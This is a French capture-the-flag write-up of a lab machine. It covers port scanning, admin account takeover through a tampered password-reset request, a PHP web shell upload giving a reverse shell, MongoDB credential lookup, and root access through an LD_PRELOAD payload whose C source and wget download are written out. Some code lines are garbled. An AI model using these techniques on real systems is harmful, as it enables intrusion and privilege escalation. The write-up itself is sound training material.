Inspired by a real-world pentesting engagement
Commande :
nmap -T5 -p- 10.10.239.205
Deux ports sont présents. SSH sur le port 22 et un site web sur le port 80. Le port 22 ne sert probablement à rien, il faut passer directement à l’énumération sur site internet.
Commande :
dirsearch -u 10.10.239.205 -x 403
C’est à la base une simple visite afin de voir à quoi ressemble le site internet et voir ce qu’on peut faire.
Comme il est possible de se créer un compte, autant en faire un…
Une fois le compte créer, il faut regarder quelles sont les options que l’utilisateur a le droit de modifier.
L’utilisateur peut faire deux choses, modifier son mot de passer et mettre une photo de profil.
Il est important de regarder partout. En particulier, la note indiquant que seul l’admin a la possibilité d’accéder à cette fonction.
La seule possibilité que l’utilisateur a finalement est de changer son mot de passe. On va donc le changer, mais en interceptant la requête avec BurpSuite.
La capture suivant montre le changement de mot de passe coté navigateur :
La capture suivante montre le changement de mot de passe côté BurpSuite ( une fois la requête intercepté ).
La requête nous montre trois éléments :
Dans la mesure où on connaît l’adresse mail du compte admin admin@sky.thm pourquoi ne pas mettre cette dernière à la place de la nôtre.
Une fois que l’on a renvoyé ( forward ) la requête modifié, il est possibilité d’accéder au compte admin.
Si on revient à la note, seul l’admin peut modifier sa photo de profil.
On va directement uploader un shell en PHP voir s’il y a un filtrage au niveau des extensions.
Aucun problème, le fichier est bien enregistré. Un message apparait très furtivement « image saved »
Seul problème à résoudre, trouver ou est enregistrer le fichier…
La réponse se trouve dans le code source de la page. En bas… <!– /v2/profileimages/ –>
L’accès direct à l’URL n’est pas possible.
Directory listing is disabled
Ce n’est pas un problème. Il suffit d’essayer d’accéder directement à notre payload. http://10.10.239.205/v2/profileimages/shell.php
Avec un netcat en écoute, on récupère un reverse shell.
L’énumération avec linpeas ne donne pas d’information importante. Il apparait que la commande netstat n’a pas été exécuté. En fait netstat n’est pas installé sur la machine. En remplacement, il est possible d’utiliser ss.
Commande :
ss -atur
Il y plusieurs ports qui sont en écoute, dont le port 27017. Il correspond à MongoDB
Commande pour se connecter :
mongo 127.0.0.1
Commande pour check les base de données :
show dbs
Commande pour sélectionner un db :
use
Commande pour voir les tables ( collections ) :
show collection
Commande pour afficher le contenu des colonnes :
db..find()
Une fois sur le compte de webdeveloper, il faut faire cette commande. Ça reste un des premières commande à effectuer… si ce n’est la 1ière
Commande :
sudo -l
L’escalade de privilege est très bien pensé. Il faut utiliser les deux informations qui s’affiche.
LD_PRELOAD et /usr/bin/sky_backup_utility.
Le binary permet de faire des sauvegardes avec des droits root.
LD_PRELOAD permet de charger des bibliothèques partagées au chargement d’un programme. En général, il faut avoir des droits SUDO.
Donc si on créer une bibliothèque partage pour exécuter sky_backup_utility avec la commande sudo on pourrait avoir un accès au compte root si notre bibliothèque partage renvoi vers un shell root ?
Création du payload :
Commande :
vim shell.c
copier ceci à l’intérieur :
#include
#include
#include
void _init () {
unsetenv ("LD_PRELOAD");
setgid (0);
setuid (0);
system ("/ bin / bash");
}
Commande pour compiler :
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
Si des avertissements apparaissent, aucune importance. À noter que la compilation peut être effectuée sur la machine cible ou sur kali.
Transfert du fichier shell.so avec un serveur web :
python3 -m http.server
Téléchargement sur la machine cible :
wget http://10.11.38.124:8000/shell.so
Commande final pour passer root.
sudo LD_PRELOAD=/tmp/shell.so /usr/bin/sky_backup_utility
That’s all folks
Merci d’avoir pris la peine de venir sur le site de lire ce Write Up
J’espère qu’il vous a plus et qu’il vous apprit des nouvelles choses.
N’hésitez pas à laisse un commentaire ou à partager cet article.